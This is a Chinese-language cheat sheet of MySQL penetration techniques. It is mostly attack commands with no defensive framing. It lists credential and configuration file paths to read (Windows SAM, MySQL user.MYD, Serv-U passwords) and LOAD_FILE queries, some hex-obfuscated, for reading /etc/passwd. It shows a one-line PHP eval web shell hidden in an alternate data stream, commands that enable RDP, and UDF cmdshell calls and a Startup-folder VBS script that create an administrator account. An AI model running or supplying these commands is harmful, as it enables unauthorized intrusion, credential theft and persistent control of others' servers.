Mysql渗透技巧总结

c:/boot.ini //查看系统版本 
c:/windows/php.ini //php配置信息 
c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 
c:/winnt/php.ini 
c:/winnt/my.ini 
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 
c:\Program Files\Serv-U\ServUDaemon.ini 
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 
c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
//存储了pcAnywhere的登陆密码 
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 
c:/Resin/conf/resin.conf usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 
d:\APACHE\Apache2\conf\httpd.conf 
C:\Program Files\mysql\my.ini 
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  
/usr/local/apache2/conf/httpd.conf  
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/etc/sysconfig/iptables //从中得到防火墙规则策略  
/etc/httpd/conf/httpd.conf // apache配置文件  
/etc/rsyncd.conf //同步程序配置文件  
/etc/my.cnf //mysql的配置文件  
/etc/redhat-release //系统版本  
/etc/issue  
/etc/issue.net  
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件  
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件  
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
/etc/sysconfig/iptables 查看防火墙策略 
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 
replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

SELECT LOAD_FILE('/etc/passwd' ) 
SELECT LOAD_FILE('/etc/issues' ) 
SELECT LOAD_FILE('/etc/etc/rc.local' ) 
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

netstat -an |find "3389" 查看3389端口是否开放 
tasklist /svc | find "TermService" 获取对应TermService的PID号 
netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

select cmdshell('net user iis_user 123!@#abcABC /add'); 
select cmdshell('net localgroup administrators iis_user /add'); 
select cmdshell('regedit /s d:web3389.reg'); 
select cmdshell('netstat -an');

mysql -h 192.168.0.1 -u root -pantian365.com antian365 

show databases;

use testdatabase;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );  
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

select * from a

select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

select @@datadir;

SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 

show variables like '%plugins%' ;

select @@basedir 

select system_user() 查看系统用户 
select current_user() 查询当前用户 
select user(); 查询用户 
SELECT version() 查询数据库版本 
SELECT database() 查询当前连接的数据库 
select @@version_compile_os 查询当前操作系统 
select now(); 显示当前时间

desc 表名 或者show columns from 表名

drop table <表名>